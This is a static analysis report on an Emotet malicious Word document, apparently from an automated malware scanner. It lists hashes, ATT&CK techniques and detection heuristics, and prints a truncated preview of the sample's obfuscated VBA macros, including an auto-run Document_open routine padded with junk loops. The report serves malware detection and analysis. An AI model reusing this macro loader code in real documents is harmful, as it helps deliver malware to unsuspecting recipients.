Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9d0d36f990055211…

MALICIOUS

Office (OLE)

177.6 KB Created: 2019-12-12 06:49:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 1f33087d89592024e75bd229f7054a6f SHA-1: 623fbf1df0bbde30cfd79005c9fa3e90235e2d1f SHA-256: 9d0d36f990055211037b5df654cec57d522f32ef6c37c40d2a649d8a30bb0808
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The ClamAV detection explicitly names Emotet. The obfuscated VBA code likely attempts to download and execute a second-stage payload, a hallmark of Emotet's downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7447388-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7447388-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8795 bytes
SHA-256: e0e3eb9a1480364c8dea8a6196ffcb26c0d93e7a1f7dc790d831f7cc3f008ea7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lybqoogsdhw"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Cienkxwpvfebq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Hlnjwdhwyqrgn = Izdprgoelwdy To 0
      For Rbmsryfk = Dhzxckniuilj To 0
         Prtgbnsfu = (23 + Round(WOJOkxR3))
      Next
      Ofowxnxrl = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Gqbbivedri = uzH To MZDUoaj1
         Dzfyiuzym = ChrB(dANsZ68a4)
         Next
      For Nezmwunrcvf = 0 To 0
         Eaexbqcy = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Dofkwobhnjs = Rgouokauq To 0
      For Mvnwfqsblwmn = Fdumpvmfolkof To 0
         Utnlmxbbecxq = (23 + Round(WOJOkxR3))
      Next
      Jesxxihg = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Igggbmqk = uzH To MZDUoaj1
         Rdzcezebp = ChrB(dANsZ68a4)
         Next
      For Evcfgrrhgnnl = 0 To 0
         Gqvzrlmn = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Zcwpxanwc = Liictgefpd To 0
      For Zrlckotgbjmrs = Grlfkfcqk To 0
         Aqgapdmgwxmyc = (23 + Round(WOJOkxR3))
      Next
      Nibvqkazyo = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Crxaarlnczatj = uzH To MZDUoaj1
         Wittixbrto = ChrB(dANsZ68a4)
         Next
      For Oaqhmlgjozwl = 0 To 0
         Ufoiimlydre = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Nlllsalbwscg
End Sub

Attribute VB_Name = "Fdktbacaoogfd"
Attribute VB_Base = "0{2CE796BC-315F-490A-A1BF-FE393A0F89CC}{005C3DCB-A0AF-4E3D-AC1A-2CE7964EBA6E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Fuqosmjgrsnid"
Function Ldlexyte()
   For Yxcgphts = Ugjmkcrcfrv To 0
      For Fhzhmcqedog = Eqdxovrbtimgm To 0
         Awqhliwzpahp = (23 + Round(WOJOkxR3))
      Next
      Rsdgmxayhc = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Mmznazryegxy = uzH To MZDUoaj1
         Hqnxhgsqcpj = ChrB(dANsZ68a4)
         Next
      For Nrbpniqv = 0 To 0
         Czhyahkv = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Hvdzmohxgrs = Lybqoogsdhw.Cienkxwpvfebq
   For Nzeyjqdcenou = Blgbziln To 0
      For Htmrhuuokfyl = Gimtbnyrwypi To 0
         Msfaimqpelvks = (23 + Round(WOJOkxR3))
      Next
      Qeqcmvqwsl = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Pxncycxbrzyd = uzH To MZDUoaj1
         Qdayrvxi = ChrB(dANsZ68a4)
         Next
      For Ygfbwwnoetbs = 0 To 0
         Xiuyrqgnfi = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Eddiblqzt = Hvdzmohxgrs + Fdktbacaoogfd.Urmsbswtr + Fdktbacaoogfd.Ishapsxghjg + Fdktbacaoogfd.Cfidacdylj
   For Ycgukqwaroiwa = Bdyqmpjywbl To 0
      For Uwjkrwmfpv = Vqjlnxsfqff To 0
         Zgoektzhmfufy = (23 + Round(WOJOkxR3))
      Next
      Whlhgarz = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Idscuprkmr = uzH To MZDUoaj1
         Bfcsijkogpspj = ChrB(dANsZ68a4)
         Next
      For Xsyihorbqhfr = 0 To 0
         Umnnyfgf = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Ekalgrwwelf = Eddiblqzt + Fdktbacaoogfd.Nlnpekfzejxq + Fdktbacaoogfd.Sxvcssgvjusk.ControlTipText
   For Hqlzcifbw = Lydqkxcpq To 0
      For Dxlgrpvp = Emuyewxnleela To 0
         Isysejgh = (23 + Round(WOJOkxR3))
      Next
      Onwrpfhqlgm = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Fafcfvyrxndi = uzH To MZDUoaj1
         Wbmyfplqibwvy = ChrB(dANsZ68a4)
         Next
      For Orqyatrzhalf = 0 To 0
         Zsisjkozihu = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Ldlexyte = Ilysyduuew + Ekalgrwwelf + Ilysyduuew
   For Rfcqhhhvuyu = Nqzijhok To 0

... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.